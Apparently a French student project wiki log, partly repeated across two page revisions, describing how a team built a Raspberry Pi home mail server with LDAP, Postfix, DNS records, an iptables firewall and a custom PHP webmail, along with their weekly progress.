nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.

De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.

La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :
@ IN MX 10 mail.intimail.pw.
mail IN A 193.48.57.171

De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :
171 IN PTR mail.intimail.pw.

A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.

==== LDAP ====
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :

[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]

Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.

Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean :
dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw
uid: jvaljean
mail: jvaljean@intimail.pw
sn: Valjean
givenName: Jean
displayName: Jean Valjean
mailbox: intimail.pw/jvaljean/
homeDirectory: /home/vmail/
objectClass: top
objectClass: inetOrgPerson
objectClass: CourierMailAccount
userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg

Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).

==== Web ====

Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire.
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].

Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)
* 1,90s sur une connexion 4G moyenne (15MB/s)
* 2,80s sur une connexion DSL moyenne (2MB/s)
* 1,90s sur une connexion Wifi (30MB/s)
* 1,70s sur une connexion THD (100MB/s)
Résultats qui semble apporter bon compris poids/qualité de l'interface.

Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache
Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(

===Semaine 6 (26/10/2015)===
==== Firewall ====
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.

Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :
cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed # Pour lister les messages de connexion échouées
sed -ne 's/.*\[$[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}$\].*/\1/p' # Pour n'afficher que les ip
*file* | sort | uniq # Pour classer et éliminer les doublons

On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.

==== Postfix ====
Nous avons installé l'agent de transfert de mail Postfix (<code>apt-get install postfix postfix-ldap</code>) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :
telnet ex 25
Trying xxx.xxx.xxx.xxx...
Connected to intimail.pw.
Escape character is '^]'.
220 mail.intimail.pw
ehlo intimail.pw
250-mail.intimail.pw
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
MAIL FROM:toto(arobase)titi.com
250 2.1.0 Ok
RCPT TO:jvaljean(arobase)intimail.pw
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Subject: Premier Test
Here is my test
.
250 2.0.0 Ok: queued as 0EDFC21428
quit
221 2.0.0 Bye
Connection closed by foreign host.

Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions

==== Cyrus SASL ====

Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail.

==== LDAP ====

Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.

==== Web ====

Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une "vue globale", réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet "Manage" d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.

Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.

Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.
Notre architecture s'oriente donc sur les schémas suivants :

[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]

==== Scripting ====

Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer <code>libswitch-perl</code> pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.

===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===

[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]

Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier.
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur.
* Un dossier mail, dans lequel sont stockés les mails envoyés
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.

===Semaine 8 (09/11/2015) - Postfix et filtrage===
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier <code>master.cf</code>. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :

# ==========================================================================
# service type private unpriv chroot wakeup maxproc command + args
# (yes) (yes) (yes) (never) (100)
# ==========================================================================
smtp inet n - - - - smtpd
-o content_filter=filter
filter unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/path/to/script $queue_id $size $sender $recipient

Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :
[
{
"from": "michel.drucker@gmail.com",
"subject": "Vivement dimanche",
"timestamp": "2015-11-8 19:59:53",
"unixtimestamp": "1447012793",
"queueid": "48FE03FA87",
"filepath": "???",
"size": "1676",
"status": "0",
"pj": "0",
"id": "0",
"to": "jbond@intimail.pw"
}
]
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).

Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis <code>user=vmail</code>. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.

Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.

===Semaine 9 (16/11/2015)===
===Semaine 10 (23/11/2015)===
===Semaine 11 (30/11/2015)===

Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.

D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises <a href> pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.

La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :
$('#table').on('click-row.bs.table', function (e, row, $element) {
console.log(row, $element);
alert("L'utilisateur d'intimail a cliqué sur "+row);
});

On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.

===Semaine 12 (07/12/2015)===
==== Parseur pour les mails entrants ====
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.

La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :
Un mail arrive
Le hook de postfix est exécuté
Le mail est envoyé via Sendmail --------------------------------------------------------------> Le mail est en attente de délivrement
Le script de parsing est lancé |
Le script vérifie dans les dossiers la présence du nouveau mail |
et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités |
| v
| Le mail est délivré et existe dans le système de fichier
v |
Le script a trouvé le fichier et le traite <----------------------------------------------------
Fin

Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle <code>$unixtimestamp.$queueid</code>. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ <code>filepath</code>.

====Interface Web====
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton "Write an email", présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?

[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]

===Semaine 13 (14/12/2015)===

* Écriture du rapport intermédiaire
* Réalisation du support de soutenance

===Semaine 14 (04/01/2016)===

* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation

===Semaine 15 (11/01/2016)===

Poursuite de la longue réécriture du code shell en perl.

===Semaine 16 (18/01/2016)===

Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut "pj" quand une pièce jointe est présente.

===Semaine 17 (25/01/2016)===

Côté web :
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans "Envoyés", les mails reçus dans "Boite de réception", manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas

===Semaine 18 (01/02/2016)===

Côté web :
* Identification d'un administrateur ou simple utilisateur
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte
* Configuration générale du webmail (variables nom de domaine, identification de l'administrateur LDAP, port LDAP...) via un fichier config.php à part contenant ces valeurs.
* Création d'une fonction permettant de modifier un paramètre de la configuration par lecture/modification/réécriture du fichier de config.
* Après une journée de prise de tête : configuration via un conteneur JSON, plus simple à manipuler pour en modifier les paramètres depuis l'interface. Le fichier se nomme désormais config.inc. Un soin est apporté à l'interdiction d'accès aux fichiers ".inc" : dans la barre d'adresse en accès au fichier le client reçoit une erreur 403, cela évite que n'importe qui puisse voir le contenu du fichier et les précieux identifiants du serveur LDAP... tout en laissant à l'utilisateur web www-data la lecture du fichier pour son usage.

===Semaine 19 (08/02/2016)===
Côté Web :
* Implémentation du back-end des fonctions de gestion d'un compte : changement UID, mot de passe, nom+prénom, quota, tout fonctionne.
* Suppression d'un compte : fonctionnelle
* Création d'un compte : fonctionnelle
* Création d'une fonction permettant d'ajouter un utilisateur à une liste/un groupe donné(e) : OK
* Création d'une fonction permettant de supprimer un utilisateur d'une liste/un groupe donné(e) : OK
* Création d'une fonction permettant de lister les groupes existants : OK
* Création d'une fonction permettant de créer/supprimer un groupe : ''en cours''

===Semaine 20 (15/02/2016)===
===Semaine 21 (22/02/2016)===

== Fichiers Rendus ==
Interface web : [https://intimail.pw intiMail.pw]

Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]

Rapport de Projet : [http:// Soon™]

Vidéo de Projet : [http:// Soon™] (RDV le 22/02 10h avec Laurent Engels)

P9 Système d'hébergement domestique

2016-02-10T09:24:48Z

Tteneur : /* Semaine 19 (08/02/2016) */

==Cahier des charges==
===Présentation générale du projet===
====Contexte====

Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.

Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation.

Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).

====Objectif du projet====

L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.

====Description du projet====
====Choix techniques : matériel et logiciel====
Matériel obtenu à ce jour :
* 1 Raspberry Pi 2 [obtenue le 07/10/2015]
* 1 Carte µSD 8 GB [obtenue le 07/10/2015]
* 1 Cable USB/µUSB [obtenu le 07/10/2015]
* 1 Câble RJ45 [obtenu le 07/10/2015]

==Suivi de l'avancement du Projet==
===Semaine 1 (21/09/2015)===

Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.

Nous allons étudier et approfondir les points suivants :

* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX
* Installer un serveur de messagerie SMTP, et IMAP/POP
* Investiguer du côté de POSTFIX
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)

Ce qui doit pouvoir être fait :
* Distinction administrateur / utilisateur
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)
* Gestion des quotas/espace disque réservé par ex
* Choix du quota (par qui ? options ?)
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?

Prévision du Matériel :
* Raspberry Pi 2
* Alimentation RPi
* Carte SD (8Go)

Le module énergétique sera équipé des éléments suivants :
* 1 MPPT
* Convertisseur Numérique Analogique : MAX5250
* Potentiomètre : MCP4261
* Relai : R561D.56 NTE
* Résistances : Deux de 100Ω et deux de 10kΩ
* une LED
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4
* Circuit d'alimentation autonome : cellule photovoltaique
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)

===Semaine 2 (28/09/2015)===

Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.

☐ Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)
*Postfix pour SMTP
*Dovecot, Courier ou Cyrus pour IMAP/POP3
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)
*LMTP

☐ Gestion particulière des gros mails et notamment de leurs pièces jointes
*Bigfile pour un stockage en ligne
*Décodage base 64 des pièces jointes ? (difficulté++)

☐ Gestion des utilisateurs
*Plusieurs comptes, en utilisant LDAP
*La possibilité de s'identifier en tant qu'administrateur

☐ Listes de diffusion

☐ Comptes mail temporaires (10 minutes mail like)

☐ Antivirus & Spam
*ClamAV ou SpamAssassin ou autres : lourd.
*iptables dans un premier temps.
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, "boites intelligentes" de spams.

☐ Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)
*Record A
*Record MX

☐ Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)

Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.

===Semaine 3 (05/10/2015)===
Nous avons précisé les éléments constituants l'interface web :
* Gestion des comptes (création, modification, suppression d'utilisateurs...)
* Gestion des listes de diffusions
* Gestion des quotas
* Affichage du courrier
* Gestion de l'antivirus

===Semaine 4 (12/10/2015)===
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].

Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.

Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.

Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :
ldapsearch -c -h localhost -b dc=domain,dc=tld -x
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :
ldapsearch -c -h localhost -b dc=domain,dc=tld -D "cn=admin, dc=domain,dc=tld" -W

On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier <code>.ldif</code> décrivant cette structure et l'avons ajoutée avec la commande :
ldapadd -D "cn=admin,dc=domain,dc=tld" -W -h localhost -f ldif/mail_tree.ldif
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -h localhost -b "dc=domain,dc=tld"

Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier <code>.ldif</code> et de l'ajouter de la même manière que précedemment avec <code>ldapadd</code>. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl <code>add_user.pl</code> simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle <code>ldapsearch</code> et même tester l'identification avec :
ldapwhoami -vvv -h localhost -D "cn=username,dc=mail,dc=domain,dc=tld" -x -W
Si la commande renvoie <code>Result: Success (0)</code> alors l'identification a fonctionné.

La commande <code>ldapsearch</code> permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -b "dc=mail,dc=domain,dc=tld" "(&(objectClass=CourierMailAccount))"
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.

===Semaine 5 (19/10/2015)===
==== DNS et SSL ====
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]

nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.

De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.

La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :
@ IN MX 10 mail.intimail.pw.
mail IN A 193.48.57.171

